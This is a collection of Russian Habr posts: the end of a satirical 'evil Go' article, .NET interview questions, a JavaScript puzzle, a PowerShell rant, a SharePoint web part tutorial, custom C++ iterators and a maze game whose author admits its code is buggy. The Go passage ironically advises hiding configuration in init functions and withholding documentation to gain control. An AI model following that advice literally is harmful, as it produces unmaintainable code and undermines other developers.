"postgres://jon@localhost/evil?sslmode=disable")
}
```
И это явно «злой» вариант. Когда вы используете инициализацию, код, который работает магическим образом, полностью вне контроля разработчика. Best-практики не рекомендуют использовать функции инициализации — это неочевидные фичи, они запутывают код, и их легко спрятать в библиотеке.
Другими словами, функции init идеально подходят для наших злых целей. Вместо явного конфигурирования или регистрации сущностей в пакетах вы можете использовать функции инициализации и пустой импорт для настройки состояния вашего приложения. В этом примере мы делаем аккаунт доступным для остальной части приложения через реестр, а сам пакет помещается в реестр с помощью функции init.
```
package account
import (
"fmt"
"github.com/evil-go/example/registry"
)
type StubAccountService struct {}
func (a StubAccountService) GetBalance(accountId int) int {
return 1000000
}
func init() {
registry.Register("account", StubAccountService{})
}
```
Если вы захотите использовать аккаунт, то помещаете пустой импорт в вашей программе. Он не должен быть основным или связанным кодом, — он просто должен быть «где-то». Это магия!
```
package main
import (
_ "github.com/evil-go/example/account"
"github.com/evil-go/example/registry"
)
type Balancer interface {
GetBalance(int) int
}
func main() {
a := registry.Get("account").(Balancer)
money := a.GetBalance(12345)
}
```
Если вы используете init-ы в своих библиотеках для настройки зависимостей, вы сразу увидите, что другие разработчики ломают голову, как эти зависимости были установлены, и как их изменить. И не будет никого мудрее вас.
### Усложненная конфигурация
Есть еще куча всего, что мы можем сотворить с конфигурацией. Если вы «добрый» разработчик Go, вы захотите изолировать конфигурацию от остальной части программы. В функции main () вы получаете переменные из среды и конвертируете их в значения, необходимые для компонентов, которые явно связаны друг с другом. Ваши компоненты ничего не знают о файлах настроек, или как называются их свойства. Для простых компонентов вы устанавливаете публичные свойства, а для более сложных вы можете создать фабричную функцию, которая получает информацию о конфигурации и возвращает правильно настроенный компонент.
```
func main() {
b, err := ioutil.ReadFile("account.json")
if err != nil {
fmt.Errorf("error reading config file: %v", err)
os.Exit(1)
}
m := map[string]interface{}{}
json.Unmarshal(b, &m)
prefix := m["account.prefix"].(string)
maker := account.NewMaker(prefix)
}
type Maker struct {
prefix string
}
func (m Maker) NewAccount(name string) Account {
return Account{Name: name, Id: m.prefix + "-12345"}
}
func NewMaker(prefix string) Maker {
return Maker{prefix: prefix}
}
```
Но «злые» разработчики знают, что лучше разбросать инфу о конфигурации по всей программе. Вместо того чтобы иметь одну функцию в пакете, которая определяет имена и типы значений для вашего пакета, используйте функцию, которая принимает конфиг как есть и самостоятельно его преобразует.
Если это кажется уж слишком «злым», используйте функцию init, чтобы загрузить файл свойств изнутри вашего пакета и установить значения самостоятельно. Может показаться, что вы сделали жизнь других разработчиков проще, но мы-то с вами знаем…
С помощью функции init вы можете определить новые свойства в глубине кода, и никто никогда не найдет их, пока они не попадут в продакшен, и все не отвалится, потому что чего-то не достанет в одном из десятков файлов свойств, необходимых для запуска. Если вы хотите еще больше «злой силы», вы можете предложить создать вики, чтобы отслеживать все свойства во всех библиотеках и «забывать» периодически добавлять новые. Как Хранитель свойств, вы становитесь единственным человеком, который может запустить программное обеспечение.
```
func (m maker) NewAccount(name string) Account {
return Account{Name: name, Id: m.prefix + "-12345"}
}
var Maker maker
func init() {
b, _ := ioutil.ReadFile("account.json")
m := map[string]interface{}{}
json.Unmarshal(b, &m)
Maker.prefix = m["account.prefix"].(string)
}
```
### Фреймворки для функциональности
Наконец, мы подошли к теме фреймворки vs библиотеки. Разница очень тонкая. Дело не только в размерах; у вас могут быть большие библиотеки и маленькие фреймворки. Фреймворк вызывает ваш код, в то время как вы сами вызываете код библиотеки. Фреймворки требуют, чтобы вы писали свой код определенным образом, будь то именование ваших методов по конкретным правилам, или чтобы они соответствовали определенным интерфейсам, или заставляли вас регистрировать ваш код во фреймворке. Фреймворки предъявляют свои требования ко всему вашему коду. То есть в общем, фреймворки командуют вами.
Go поощряет использование библиотек, потому что библиотеки компонуются. Хотя, конечно, каждая библиотека ожидает передачи данных в определенном формате, вы можете написать немного связующего кода, чтобы преобразовать вывод одной библиотеки в инпут для другой.
Фреймворки трудно заставить слаженно работать вместе потому, что каждый фреймворк хочет полного контроля над жизненным циклом кода. Часто единственный способ заставить фреймворки работать слаженно — это чтобы авторы фреймворков собрались вместе и явно организовали взаимную поддержку. А лучший способ использовать «зло фреймворков» для получения долгосрочной власти — написать собственный фреймворк, который используется только внутри компании.
### Текущее и будущее зло
Освоив эти приемы, вы навсегда встанете на путь зла. Во второй части я покажу способ деплоя всего этого «зла», и как правильно превращать «добрый» код в «злой». | https://habr.com/ru/post/460645/ | null | ru | null |
# Интересные вопросы на знание C# и механизмов .NET
Предлагаю Вам ряд вопросов по C# и .NET в целом, которые могут пригодиться для проведения собеседования или просто помогут лучше понять, как работает платформа .NET. Здесь не будет обычных вопросов о том, чем отличаются ссылочные типы от значимых и тп. Я постарался выбрать самые интересные, над которыми стоит задуматься.
1. Известно, что при размещении объекта ссылочного типа в куче у него есть указатель на объект-тип (область памяти, содержащую статические поля и реализацию статических методов). Этот объект-тип содержит индекс блока синхронизации и еще один указатель на объект-тип. Зачем он нужен и куда указывает?
**Ответ**В CLR каждый объект в куче имеет указатель на объект-тип. Это нужно для того, чтобы, например, найти значения статических полей и реализацию статических методов для экземпляра типа. Но объект-тип, на который ссылается экземпляр типа так же имеет ссылку на объект-тип и является «экземпляром» для объекта-типа **System.Type**, объект-тип для которого создается CLR при запуске.
На этой схеме объект **Manager** ссылается на объект-тип **Manager**, указатель на объект-тип которого ссылается на объект-тип **System.Type**.
2. Можно ли объявить делегат не только внутри класса, но и в глобальной области видимости? Почему?
**Ответ**Можно. Делегат представляет из-себя не просто обертку для метода, а полноценный класс, а класс можно сделать как вложенным в родительский класс, так и просто объявить в глобальной области видимости. То есть делегат можно определить везде, где может быть определен класс.
```
internal class Feedback : System.MulticastDelegate {
// Конструктор
public Feedback(Object object, IntPtr method);
// Метод, прототип которого задан в исходном тексте
public virtual void Invoke(Int32 value);
// Методы, обеспечивающие асинхронный обратный вызов
public virtual IAsyncResult BeginInvoke(Int32 value,
AsyncCallback callback, Object object);
public virtual void EndInvoke(IAsyncResult result);
}
```
Еще интересный вопрос — почему конструктор класса делегата содержит два параметра, а в коде мы просто передаем указатель на метод (внутрений для CLR, по которому этот метод она найдет)?
```
delegate void Test(int value);
void A(int v)
{
Console.WriteLine(v);
}
void TestDelegate()
{
var t = new Test(A);
t(1);
}
```
Все просто — потому что компилятор при создании делегата сам подставляет в конструктор значение параметра **оbject**. Если метод, которым инициализируется делегат статический, то передается null. Иначе передается объект экземпляра класса, которому принадлежит метод. В этом случае состояние этого объекта может быть изменено через ключевое слово **this** внутри метода.
3. Простой вопрос — что выведет на экран метод Test и почему?
```
delegate int GetValue();
int Value1() { return 1; }
int Value2() { return 2; }
void Test()
{
var v1 = new GetValue(Value1);
var v2 = new GetValue(Value2);
var chain = v1;
chain += v2;
Console.WriteLine(chain());
}
```
**Ответ**Выведет 2. При помещении делегатов в цепочку у делегата chain заполняется внутреннее поле, которое представляет из себя массив делегатов (в случае, если количество больше одного, иначе просто хранится ссылка на метод). Все делегаты выполняются последовательно. Возвращается значение последнего, остальные не учитываются.
4. Объясните, каким образом локальные переменные **pass1** и **pass2** из метода **Test** передаются в лямбда-выражение, если WaitCallback принимает лишь один параметр(и в данном случае ссылка на него равна **null**).
```
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
var p = new Program();
p.Test();
Console.ReadKey();
}
void Test()
{
int pass1 = 5;
object pass2 = "Passing test";
ThreadPool.QueueUserWorkItem((obj) =>
{
Console.WriteLine(pass1);
Console.WriteLine(pass2);
});
}
}
}
```
**Ответ**Для того, чтобы в этом разобраться, открываем сборку в ildasm.
Можете убедиться, что в этом случае лямбда выражение — это не метод, а целый класс!
```
.method private hidebysig instance void Test() cil managed
{
// Размер кода: 44 (0x2c)
.maxstack 2
.locals init ([0] class ConsoleApplication1.Program/'<>c__DisplayClass1_0' 'CS$<>8__locals0')
IL_0000: newobj instance void ConsoleApplication1.Program/'<>c__DisplayClass1_0'::.ctor()
IL_0005: stloc.0
IL_0006: nop
IL_0007: ldloc.0
IL_0008: ldc.i4.5
IL_0009: stfld int32 ConsoleApplication1.Program/'<>c__DisplayClass1_0'::pass1
IL_000e: ldloc.0
IL_000f: ldstr "Passing test"
IL_0014: stfld object ConsoleApplication1.Program/'<>c__DisplayClass1_0'::pass2
IL_0019: ldloc.0
// вот создается этот класс!
IL_001a: ldftn instance void ConsoleApplication1.Program/'<>c__DisplayClass1_0'::'b\_\_0'(object)
IL\_0020: newobj instance void [mscorlib]System.Threading.WaitCallback::.ctor(object,
native int)
IL\_0025: call bool [mscorlib]System.Threading.ThreadPool::QueueUserWorkItem(class [mscorlib]System.Threading.WaitCallback)
IL\_002a: pop
IL\_002b: ret
} // end of method Program::Test
```
А вот описание самого класса и он содержит обсуждаемый метод:
Компилятор определяет, есть ли в лямбда выражении ссылки на локальные переменные. Если нет, то генерируется статический метод (или экземплярный, если в лямбда-выражении присутствуют ссылки на члены экземпляра типа). А если ссылки на локальные переменные присутствуют, то генерируется класс, содержащий нужные поля и метод, описанный в лямбда выражении.
5. Что выведет на экран следующий код?
```
int a = -5;
Console.WriteLine(~a);
```
**Ответ**Выведет 4. Оператор ~ производит побитовую реверсию.
```
Console.WriteLine("{0:x8}, {1:x8}", -5, ~(-5));
// выведет fffffffb, 00000004
```
Причем для значения 5 выведет -6.
6. Обычно управлять в ручную уборкой мусора не рекоммендуется. Почему? Приведите пример, когда вызов метода GC.Collect() имеет смысл.
**Ответ**Дело в том, что уборщик мусора сам настраивает пороговые значения для поколений (в зависимости от реального поведения приложения). Как только размер поколения в управляемой куче превышает пороговый, начинается уборка мусора (об этом очень подробно написано в Рихтере). Поэтому чаще всего следует избегать вызовов GC.Collect(). Но может возникнуть необходимость ручной уборки мусора, если произошло разовое событие, которое привело к уничтожению **множества старых объектов**. Таким образом, основанные на прошлом поведении приложения прогнозы уборщика мусора окажутся не точными, а уборка мусора окажется весьма кстати.
7. **Бонус с собеседования:** есть метод rand2, выдающий 0 или 1 с одинаковой вероятностью. Написать метод rand3, использующий метод rand2, выдающий 0,1,2 с одинаковой вероятностью.
**Ответ**
```
// первое решение
int rand3()
{
int x, y;
do {
x = rand2();
y = rand2();
} while (x == 0 && y == 1);
return x + y;
}
// второе решение
int rand3()
{
int r = 2 * rand2() + rand2();
if (r < 3)
return r;
return rand3();
}
```
Любая критика приветствуется. Вопросы есть еще по другим темам, если интересно. | https://habr.com/ru/post/328504/ | null | ru | null |
# Интересная задачка
Вот такая простенькая задачка поставила меня в тупик:
`var a=2
b=a++ + (--a * ++a)
//Чему равно b?`
Исходя из приоритета операций скобки () имеют наивысший приоритет, значит сначала должно выполняться выражение в скобках, затем все остальное?
Напишите ваш вариант ответа, а потом запустите код в браузере (любом). | https://habr.com/ru/post/77397/ | null | ru | null |
# Пост ненависти к Могучему Шеллу
Написал я как-то давно один простой скрипт, удаляющий в указанной директории все поддиректории с заданными именами:
```
Remove-Item * -Force -Recurse -Include name1,name2,name3 -ErrorAction SilentlyContinue
```
Давно им не пользовался, а тут он понадобился. Запускаю — ничего не удалил.
«WTF?», думаю. Стал копаться. Возился-возился, всё перебрал, и список предварительно создал, и имена менял — всё равно ничего не удаляет. В конце-концов в их доке прочитал: "*Вообще-то, -Include глючит, когда используется вместе с -Recurse, так что юзайте костыльную конструкцию.*":
> Because the Recurse parameter in Remove-Item has a known issue, the command in this example uses Get-ChildItem to get the desired files, and then uses the pipeline operator to pass them to Remove-Item.
Ну, ладно, переписал с использованием данного костыля. Один хрен — не удаляет ничего. Более того, *Get-ChildItem* с *-Include* возвращает пустоту. Опять, что я только не делал, как я только не извращался с параметрами — не работает. Главное, с *-Exclude* работает, а с *-Include* никак. Целый день на это убил: всё думал, что где-то в параметрах накосячил, что не учел какой-то хитрый нюанс. И что в итоге оказалось? Поставил их PS7.1 — в нем заработало. В нем даже первый бескостыльный вариант с использованием только *Remove-Item* заработал. В общем, оказался их баг.
Но намучившись с их Могучим Шеллом, я полез в Google почитать, отчего их шелл имеет такой зубодробительный синтакс. Млин, они его позиционируют, как .NET для консоли, но синтаксом C# у них даже не пахнет. Вместо него…
В общем, наткнулся на такую статью: "[What I Hate About PowerShell](https://helgeklein.com/blog/2014/11/hate-powershell/)". Как говорится: «I couldn't agree more.»
Подозреваю, что команда Могучего Шелла — это сборище обожателей Bash'а.
*— Давайте, наконец, сделаем для Windows консоль, в которой можно будет писать сложные скрипты. А то наш cmd устарел, да так, что нам уже немножечко стыдно.
— Давайте! На основе чего будем делать? У нас уже есть VBScript, JScript. Наконец, у нас есть языки для .NET: C#, VB. Может, на C# сделаем? В смысле, будем использовать C# как язык для скриптов для нашей консоли. Тем более, мы же хотим туда .NET классы подтянуть.
— Нее, ну ты чё, чувак, какой C#? Настоящие гики юзают bash! Вот и мы давайте сделаем bash для Windows. Плевать, что синтакс для bash писала, видимо, толпа укуренных хипстеров в далеких 1960-х. В общем, чем сложнее, тем лучше! Интуитивная понятность — это для слабаков! Во время написания скрипта на нашем языке юзер в обязательном порядке должен проклясть все на свете и изобрести парочку новых ругательств. Только такой язык имеет право на жизнь. Вон, линуксоиды всю жизнь так живут и получают от этого всего неизъяснимый кайф. А мы чем хуже?* | https://habr.com/ru/post/514608/ | null | ru | null |
# Делаем SharePoint Web Part используя xml/xsl
В этой статье я расскажу, как сделать SharePoint WebPart, ~~используя блокнот~~ используя только xml и xsl.
Про разработку web part-ов уже писалось ранее, там же писалось, зачем, собственно, они нужны: [habrahabr.ru/blogs/sharepoint/57992](http://habrahabr.ru/blogs/sharepoint/57992/)
В данной статье мы создадим WebPart, который просто покажет какое-то сообщение. Сам по себе он не информативен и сомнителен, как пример, но задаче показать общий механизм вполне соответствует.
#### Что нужно
Не так много:
1. Доступ к MS SharePoint services 3.0 и возможность редактировать страницы с веб-партами (для опытов)
2. XML/text редактор
#### Зачем xml/xsl?
Основное преимущество этого мазохизма — легкая установка.
Что НЕ НАДО делать:
Не надо никуда класть сборку
Не надо регистрировать сборку где-либо
Не надо править какие-либо конфиги
Установка таких web-part-ов легко производится, используя только Web Interface SharePoint-а.
#### Как это сделать
Процесс будет описан кратенько и без излишних подробностей.
Итак, приступим.
##### Создание .webpart файла
Открываем ваш любимый XML редактор (юзаю VS 2008) и создаем «болванку» для web-part-а:
> `<webParts>
>
> <webPart xmlns="http://schemas.microsoft.com/WebPart/v3">
>
> <metaData>
>
> <type name="Microsoft.SharePoint.WebPartPages.DataFormWebPart, Microsoft.SharePoint, Version=12.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
>
> <importErrorMessage>Cannot import this Web Part.importErrorMessage>
>
> metaData>
>
> <data>
>
> <properties>
>
> <property name="MissingAssembly" type="string">Cannot import this Web Part.property>
>
> <property name="FireInitialRow" type="bool">Trueproperty>
>
> <property name="TitleIconImageUrl" type="string" />
>
> <property name="HelpMode" type="helpmode">Modelessproperty>
>
> <property name="CacheXslStorage" type="bool">Trueproperty>
>
> <property name="ViewContentTypeId" type="string" />
>
> <property name="Description" type="string" />
>
> <property name="DataSourcesString" type="string">NotSetproperty>
>
> <property name="AllowZoneChange" type="bool">Trueproperty>
>
> <property name="ParameterBindings" type="string" null="true" />
>
> <property name="PageSize" type="int">-1property>
>
> <property name="TitleUrl" type="string" />
>
> <property name="ViewFlag" type="string">0property>
>
> <property name="NoDefaultStyle" type="string">TRUEproperty>
>
> <property name="Direction" type="direction">NotSetproperty>
>
> <property name="UseSQLDataSourcePaging" type="bool">Trueproperty>
>
> <property name="ListName" type="string" null="true" />
>
> <property name="Hidden" type="bool">Falseproperty>
>
> <property name="DisplayName" type="string" />
>
> <property name="SampleData" type="string" null="true" />
>
> <property name="HelpUrl" type="string" />
>
> <property name="ChromeType" type="chrometype">Defaultproperty>
>
> <property name="CatalogIconImageUrl" type="string" />
>
> <property name="DataFields" type="string" />
>
> <property name="Default" type="string" />
>
> <property name="ChromeState" type="chromestate">Normalproperty>
>
> <property name="DataSourceID" type="string" />
>
> <property name="AllowClose" type="bool">Trueproperty>
>
> <property name="CacheXslTimeOut" type="int">86400property>
>
> <property name="AllowMinimize" type="bool">Trueproperty>
>
> <property name="AllowEdit" type="bool">Trueproperty>
>
> <property name="XslLink" type="string" null="true" />
>
> <property name="ShowWithSampleData" type="bool">Falseproperty>
>
> <property name="ExportMode" type="exportmode">Allproperty>
>
> <property name="AllowHide" type="bool">Trueproperty>
>
> <property name="AllowConnect" type="bool">Trueproperty>
>
>
>
> <property name="Title" type="string">HabraSampleproperty>
>
> <property name="Width" type="string">500pxproperty>
>
> <property name="Height" type="string">400pxproperty>
>
> <property name="Xsl" type="string">property>
>
> properties>
>
> data>
>
> webPart>
>
> webParts>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Собственно, нас интересуют следующие свойства:
> `<property name="Title" type="string">HabraSampleproperty>
>
> <property name="Width" type="string">500pxproperty>
>
> <property name="Height" type="string">400pxproperty>
>
> <property name="Xsl" type="string">property>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Первое — название вебпарта. Второе и третье вполне понятно, а в четвертом мы будем писать XSL.
Пропишем самый-самый простой:
> `xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:ddwrt2="urn:frontpage:internal">
>
> <xsl:output method="html" version="1.0" encoding="UTF-8" indent="yes"/>
>
>
>
> <xsl:template match="/" xmlns:ddwrt="http://schemas.microsoft.com/WebParts/v2/DataView/runtime" >
>
> Hello, Habr!
>
> xsl:template>
>
> xsl:stylesheet>`
>
>
>
> \* This source code was highlighted with [Source Code Highlighter](http://virtser.net/blog/post/source-code-highlighter.aspx).
Теперь добавим наш XSL в webpart:
> `<property name="Xsl" type="string">
>
> [CDATA[<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:ddwrt2="urn:frontpage:internal">
>
> <xsl:output method="html" version="1.0" encoding="UTF-8" indent="yes"/>
>
>
>
> <xsl:template match="/" xmlns:ddwrt="http://schemas.microsoft.com/WebParts/v2/DataView/runtime" >
>
> Hello, Habr!
>
> xsl:template>
>
> xsl:stylesheet>]]>property>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Все. Сохраняем наш xml в файл с расширением .webpart (например Habr.webpart).
Целиком скачать/посмотреть код можно здесь:
[anychart.com/batsuev/habrahabr/sharepoint-1/habr.webpart](http://anychart.com/batsuev/habrahabr/sharepoint-1/habr.webpart)
##### Добавление webpart-а на страницу
Все очень просто. Открываем web part page, идем в edit mode:
Давим по Add web part, там выбираем Advanced Web Part gallery and options:
В панели справа в Browse переключаемся на import:
Аплоадим web-part и видим:
Дальше просто перетаскиваем drag & drop-ом на страницу.
Уаля:
#### Послесловие
Самая большая проблема, с которой мы столкнулись при написании таких webpart-ов: мы не нашли нормальной документации по ним.
Если статья понравилась, могу написать про:
1. Куда класть web-part и как зарегистрировать его, что бы он был доступен со всех страниц.
2. Создание инсталлера для подобных WebPart-ов (как мы это сделали вот тут: [www.anychart.com/products/sharepoint/demos/installation.php](http://www.anychart.com/products/sharepoint/demos/installation.php) )
3. Доступ к различным данным (например из базы, из List и т.п.), используя xml/xsl
Ну или еще про что-нибудь, связанное с этим. | https://habr.com/ru/post/58134/ | null | ru | null |
# Недооценённые итераторы
Речь пойдет о стандартной библиотеке шаблонов STL. Будут рассмотрены существующие типы итераторов и их классификация, а также будут предложены несколько новых обёрток над итераторами. Которые позволят в некоторых случаях избежать лямбда-выражений, которых до С++11 как бы и нет.
### Вступительное слово
Одной из основных парадигм данной библиотеки было разделение двух сущностей. Контейнеров и алгоритмов. Но для непосредственного воздействия алгоритмом на данные контейнера пришлось ввести промежуточную сущность — итератор.
Итераторы позволили алгоритмам получать доступ к данным, содержащимся в контейнере, независимо от типа контейнера. Но для этого в каждом контейнере потребовалось определить класс итератора. Таким образом алгоритмы воздействуют на данные через итераторы, которые знают о внутреннем представлении контейнера.
### Типы итераторов в STL
Помимо итераторов, осуществляющих доступ к данным определённого контейнера в библиотеке STL имеются ещё несколько итераторов:
1. back\_insert\_iterator и front\_insert\_iterator
2. insert\_iterator
3. istream\_iterator и ostream\_iterator
Итераторы типов back\_insert\_iterator и front\_insert\_iterator при модификации содержимого осуществляют вставку элемента методом push\_back() или push\_front(). Операции перемещения к предыдущему/следующему элементу контейнера эти итераторы попросту игнорируют.
Итератор insert\_iterator при модификации осуществляет вставку данных. Ему в конструктор передаются контейнер и итератор на позицию, куда следует вставлять данные.
Итераторы istream\_iterator и ostream\_iterator осуществляют считывание данных из потока и запись данных в поток. В конструкторы этих итераторов необходимо передать входной или же выходной поток.
### Классификация итераторов
Существующая классификация итераторов насчитывает 5 категорий итераторов:
1. Input iterator
2. Output iterator
3. Forward iterator
4. Bidirectional iterator
5. Random access iterator
Итераторы, принадлежащие различным категориям имеют различный набор допустимых операций. Операции соотносятся с категориями следующим образом:
| Категория итератора | Характеристика | Валидное выражение |
| --- | --- | --- |
| все категории | Может быть скопирован и создан по образу и подобию | X b(a);
b = a; |
| Может быть увеличен на единицу | ++a
a++
\*a++ |
| Random Access | Bidirectional | Forward | Input | Поддерживает сравнение на равенство/неравенство | a == b
a != b |
| Может быть разыменован как *rvalue* только для *получения* значения | \*a
a->m |
| Output | Может быть разыменован как *lvalue* для использования слева от знака присваивания | \*a = t
\*a++ = t |
| | Может быть скопирован и использован для повторного обхода | X a(b);
++a == ++b |
| | Может быть уменьшен на единицу | --a
a--
\*a-- |
| | Поддерживает арифметические операции + и - | a + n
n + a
a — n
a — b |
| Поддерживает сравнения (<, >, <= and >=) между итераторами | a < b
a > b
a <= b
a >= b |
| Поддерживает операции увеличения += и уменьшения -= | a += n
a -= n |
| Поддерживает разыменование по индексу ([]) | a[n] |
### Разработка декоратора итератора
Для реализации нескольких следующих идей необходимо было реализовать обертку или декоратор ([wrapper](http://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BA%D0%BE%D1%80%D0%B0%D1%82%D0%BE%D1%80_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F))). Декоратор итератора должен иметь ту же самую категорию, что и оборачиваемый итератор, а значит предоставлять тот же самый набор методов. В соответствии с приведённой таблицей категорий было разработано:
1. Пять классов-примесей ([mixin](http://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%81%D1%8C_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5))), реализующих не пересекающиеся наборы методов.
2. Шаблонный класс декоратора, параметризуемый категорией итератора.
3. Пять специализаций шаблона, отличающиеся набором *подмешиваемых примесей*.
4. Фабрика для удобного (без явных шаблонных параметров) обёртывания итератора.
*[На этот код можно взглянуть [здесь](http://code.google.com/p/stliw/source/browse/bit_walker_old.h?r=5adbe87e8402c864261488c90ed5c2791c17132c), он почти работает]*
После небольшого обсуждения получившейся структуры с одним хорошим человеком была выработана новая структура. Не такая насыщенная шаблонами и более лаконичная. Решено было реализовать все методы всех категорий итераторов в одном шаблонном классе, параметризуемом категорией итератора. Было использовано следующее свойство языка C++: компилируются только те методы шаблонного класса, вызов которых реально осуществляется.
Таким образом, если потребуется обернуть итератор категории Input будут скомпилированы только те методы которые, относятся к категории Input *и* вызываются. При попытке вызова метода не принадлежащего этой категории — возникнет ошибка компиляции. А это как раз то к чему мы стремились.
### Битовый итератор
Битовый итератор позволяет обходить элементы контейнеров побитно. Итератор может использоваться как для считывания, так и для записи значений битов. У итератора имеются параметры:
1. В каком порядке обходить байты элементов контейнера
2. В каком порядке обходить биты в байтах
Пример использования:
```
{
// 00001010 00001011 00001010 00001011
// * * * ** * * * **
char input[] = "\x0A\x0B\x0A\x0B";
char * input_ptr = input;
int a = std::count(bit_walker(input_ptr),
bit_walker(input_ptr+4), 1);
EXPECT_EQ(2 + 3 + 2 + 3, a);
}
```
### Полевой итератор
Полевой итератор представляет из себя итератор, который при разыменовывании возвращает значение одного из полей структуры. Может оказаться весьма полезен для поиска объекта по значению одного из полей. Пример использования:
```
{
// What to find: [200] "puper"
//
// {100,"hello"}
// {200,"super"} => {200,"super"}
// {300,"puper"} => {300,"puper"}
struct ABC
{
int value;
std::string str;
};
ABC input[] =
{
{100,"hello"},
{200,"super"},
{300,"puper"}
};
ABC * input_ptr = input;
int a = std::find(field_walker(input_ptr, fieldof(ABC,value)),
field_walker(input_ptr+3, fieldof(ABC,value)),
200) - input_ptr;
int b = std::find(field_walker(input_ptr, fieldof(ABC,str)),
field_walker(input_ptr+3, fieldof(ABC,str)),
"puper") - input_ptr;
EXPECT_EQ(1, a);
EXPECT_EQ(2, b);
}
```
Макрос *fieldof(Class,Field)* выглядит следующим образом:
```
#define fieldof(Object,field) (&(((Object*)NULL)->field))
```
**UPD**
Как заметил пользователь [mayorovp](https://habrahabr.ru/users/mayorovp/), можно было обойтись указателем на поле класса:
```
&Object::field
```
### Сортирующий итератор
Сортирующий итератор представляет из себя итератор, выполняющий обход элементов в порядке их сортировки. Элементы контейнера **не** модифицируются в процессе обхода итератором. Плюсом в данном случае является то, что время на сортировку не тратится (нет определённого участка времени отведённого под сортировку).
При перемещении итератора к следующему элементу осуществляется поиск наименьшего элемента среди оставшихся, которые больше-или-равны предыдущему. Таким образом сложность алгоритма получается O(N2), но специального времени отведённого под сортировку нет. Сортировка осуществляется в процессе обращения к данным. Обращение через итераторы осуществляется пошаговое — сортировка тоже пошаговая.
Итератор параметризуется порядком сортировки. По-умолчанию: сортировка по возрастанию.
Пример использования:
```
{
// A:{ 5,2,1,2,2 } => A:{ 5,2,1,2,2 }
// B:{ 0,0,0,0,0 } => B:{ 5,2,2,2,1 }
int input[5] = { 5,2,1,2,2 };
int output[5] = { 0,0,0,0,0 };
int * input_ptr = (int *)input;
int * output_ptr = (int *)output;
std::copy(sorter(input\_ptr,input\_ptr+5),
sorter(input\_ptr+5),
output\_ptr);
// Expect input
EXPECT\_EQ(5, input[0]);
EXPECT\_EQ(2, input[1]);
EXPECT\_EQ(1, input[2]);
EXPECT\_EQ(2, input[3]);
EXPECT\_EQ(2, input[4]);
// Expect output
EXPECT\_EQ(5, output[0]);
EXPECT\_EQ(2, output[1]);
EXPECT\_EQ(2, output[2]);
EXPECT\_EQ(2, output[3]);
EXPECT\_EQ(1, output[4]);
}
```
### Примечания:
1. Таблица категорий итераторов позаимствована отсюда (в ней были найдены пара багов — сайт источник уведомлён об ошибках): <http://www.cplusplus.com/reference/std/iterator/>
2. Как многие из Вас могли заметить, примеры кода представляют из себя тесты для [Google C++ Testing Framework](http://code.google.com/p/googletest/), а значит код лежит в репозитории и к нему имеются тесты. Найдёте баг — пишите тест, выявляющий его)) Вот где лежит весь код: <http://code.google.com/p/stliw/> Комментарии к коду можно оставлять без регистрации — welcome.
P.S.
Данная статья была написана мной полгода назад. Сегодня я обнаружил её в практически законченном состоянии и опубликовал. Трудно сказать почему она полгода пролежала в моих черновиках. Может я хотел что-то доделать или переделать, в любом случае — публикую сейчас или никогда. | https://habr.com/ru/post/122283/ | null | ru | null |
# Лабиринты Бильбо Беггинса
Нет в русском языке нарицательного существительного, которое не годилось бы для фамилии еврея.
И нет на Хабре статьи, которую нельзя было бы сделать игрушкой под iPad.
Для доказательства утверждения я взял первую попавшуюся публикацию ([ссылка](http://habrahabr.ru/post/176671/) ) и сделал из нее приложение.
Продукт был выложен и одобрен в App Store.
Результат своего труда я решил вынести на обозрение общественности. Суд Хабра-хабра, конечно, не самый гуманный, но известны на Родине суды и пострашнее.
Алгоритм Эллера, спасибо автору публикации [deadkrolik](http://habrahabr.ru/users/deadkrolik/)-у, описан подробно и внятно.
Будучи человеком небрежным, я запрограммировал его не думая и забыл.
А зря.
В качестве дизайна я выбрал тему иллюстраций М.Беломлинского к Хоббиту.
Моя любимая книга в переводе Рахмановой до сих пор.
В качестве идеи игры взят старый трюк со случайным перемешиванием всех ячеек лабиринта.
Перед стартом очередного раунда, каждая ячейка лабиринта случайно вращается на 90, 180 или 270 градусов.
Задача игрока подумать и восстановить первоначальный лабиринт, сгенерированный по алгоритму Эллера.
Ниже текст функции, массив color[] является ипостасью лабиринта 7 на 7.
Большего размера поле не подходит для игр на iPhone.
**текст функции initBoard**
```
-(int) initBoard:(int) num
{
int row1_numb[16];
int row1_edge[16];
int row1_down[16];
int rw_e[256];
int rw_d[256];
num_x = 7;
num_y = 7;
num_xy = num_x*num_y;
for (int i=0; i0) {
row1\_edge[i] = 1;
row1\_numb[i+1] = row1\_numb[i];
}
}
row1\_edge[num\_x-1] = 1;
for (int i=0; i0) ? 1 : 0;
}
int r\_open = 0;
int i\_start = 0;
for (int i=0; i
```
Приложение получилось быстро. Дизайн, надеюсь, не очень противный.
#### Никогда не стесняйтесь спросить, что непонятно
Ужасно то, что готовя эту статью, я перечитал публикацию про алгоритм Эллера и обнаружил в своем тексте 2 ошибки.
Во-первых, я, видимо, не дочитал перевод до конца (или автор добавил изменения позже) и сделал последнюю строку лабиринта по-своему, проводя горизонтальный штрек через все ячейки.
Хотел даже посетовать по этому поводу в комментариях, но постеснялся.
А зря. Никогда не стесняйтесь спросить, что непонятно.
И вторая ошибка — мои лабиринты имеют петли. Кто найдет баг или перепишет код красивее, тому уважение и персональная благодарность в следующей версии приложения.
Вот пример перемешанного и почти (найдите последнюю неправильную ячейку) собранного лабиринтов. Ошибки, увы налицо.
Тем не менее, играть довольно интересно, особенно тем, кто помнит игру NetWalk.
#### В корпоративном блоге можно заниматься рекламой
Приложение бесплатно.
